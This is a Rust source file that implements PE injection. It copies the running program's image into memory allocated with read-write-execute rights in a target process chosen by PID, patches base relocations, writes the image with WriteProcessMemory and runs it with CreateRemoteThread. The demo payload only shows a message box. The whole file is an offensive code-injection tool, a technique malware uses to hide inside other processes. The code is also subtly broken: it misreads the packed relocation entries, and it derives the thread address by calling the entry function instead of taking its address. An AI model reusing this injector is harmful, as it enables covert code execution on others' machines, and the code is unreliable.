/*
    PE Injection: Executing PEs inside remote process.
    Souce & Credit goes to red team notes:
        -> https://www.ired.team/offensive-security/code-injection-process-injection/pe-injection-executing-pes-inside-remote-processes

    @5mukx
*/

use std::ptr::null_mut;
use winapi::ctypes::c_void;

use winapi::um::errhandlingapi::GetLastError;
use winapi::um::memoryapi::{VirtualAllocEx, WriteProcessMemory};
use winapi::um::processthreadsapi::{CreateRemoteThread, OpenProcess};
use winapi::um::winnt::{
    IMAGE_BASE_RELOCATION, IMAGE_DIRECTORY_ENTRY_BASERELOC, MAXIMUM_ALLOWED
};
use winapi::um::{
    libloaderapi::{GetModuleFileNameA, GetModuleHandleA},
    memoryapi::VirtualAlloc,
    winnt::{IMAGE_DOS_HEADER, IMAGE_NT_HEADERS, MEM_COMMIT, PAGE_READWRITE},
    winuser::MessageBoxA,
};

#[repr(C)]
struct BaseRelocationEntry {
    offset: u16,
    r#type: u16,
}

// sample extern fn to check messagebox
unsafe extern "system" fn inject_entry_point() -> u32 {
    let mut module_name = [0u8; 128];

    GetModuleFileNameA(
        null_mut(),
        module_name.as_mut_ptr() as *mut i8,
        module_name.len() as u32,
    );

    MessageBoxA(
        null_mut(),
        module_name.as_ptr() as *const i8,
        "Obligatory PE Injection\0".as_ptr() as *const i8,
        0,
    );
    0
}

fn main() {
    let args: Vec<String> = std::env::args().collect();

    if args.len() != 2 {
        eprintln!("[*] Please provide proper argument.");
        eprintln!("[*] Example: {} PID", args[0]);
        std::process::exit(1);
    }

    let pid = args[1]
        .trim()
        .parse::<u32>()
        .expect("Please Provide proper PID");

    println!("PID : {}", pid);

    unsafe {
        let image_base = GetModuleHandleA(null_mut()) as *const c_void;
        let dos_header = image_base as *const IMAGE_DOS_HEADER;
        let nt_headers =
            (image_base as usize + (*dos_header).e_lfanew as usize) as *const IMAGE_NT_HEADERS;

        println!("[*] Image Base Address {:?}", image_base);
        println!("[*] Dos Header: {:?}", dos_header);
        println!("[*] NT Header: {:?}", nt_headers);

        let local_image = VirtualAlloc(
            null_mut(),
            (*nt_headers).OptionalHeader.SizeOfImage as usize,
            MEM_COMMIT,
            PAGE_READWRITE,
        );

        std::ptr::copy_nonoverlapping(
            image_base,
            local_image,
            (*nt_headers).OptionalHeader.SizeOfImage as usize,
        );

        let target_process: *mut c_void = OpenProcess(MAXIMUM_ALLOWED, 0, pid);

        if target_process.is_null() {
            println!("[-] Failed to open Process. is PID correct !");
            std::process::exit(1);
        }

        let target_image = VirtualAllocEx(
            target_process,
            null_mut(),
            (*nt_headers).OptionalHeader.SizeOfImage as usize,
            0x1000,
            0x40,
        );

        if target_image.is_null() {
            println!("[+] VirtualAllocEx Failed: {}", GetLastError());
            std::process::exit(1);
        }

        let delta_image_base = target_image as isize - image_base as isize;

        println!("[*] Delta Image Base: {}", delta_image_base);

        let mut relocation_table = (local_image as usize
            + (*nt_headers).OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC as usize]
                .VirtualAddress as usize)
            as *mut IMAGE_BASE_RELOCATION;

        while (*relocation_table).SizeOfBlock > 0 {
            let relocation_entries_count = ((*relocation_table).SizeOfBlock as usize
                - size_of::<IMAGE_BASE_RELOCATION>())
                / size_of::<u16>();
            let relocation_rva =
                (relocation_table as usize + size_of::<IMAGE_BASE_RELOCATION>()) as *mut u16;

            for i in 0..relocation_entries_count {
                let entry = relocation_rva.add(i) as *const BaseRelocationEntry;
                if (*entry).offset != 0 {
                    let patched_address = (local_image as usize
                        + (*relocation_table).VirtualAddress as usize
                        + (*entry).offset as usize)
                        as *mut usize;
                    *patched_address = (*patched_address as isize + delta_image_base) as usize;
                }
            }
            relocation_table = (relocation_table as usize
                + (*relocation_table).SizeOfBlock as usize)
                as *mut IMAGE_BASE_RELOCATION;
        }

        let write_process = WriteProcessMemory(
            target_process,
            target_image,
            local_image,
            (*nt_headers).OptionalHeader.SizeOfImage as usize,
            null_mut(),
        );

        if write_process == 0 {
            println!("[-] WriteProcessMemory Failed: {}", GetLastError());
        }

        // create and run thread in remote process
        CreateRemoteThread(
            target_process,
            null_mut(),
            0,
            Some(std::mem::transmute(
                inject_entry_point() as usize + delta_image_base as usize,
            )),
            null_mut(),
            0,
            null_mut(),
        );
    }
}
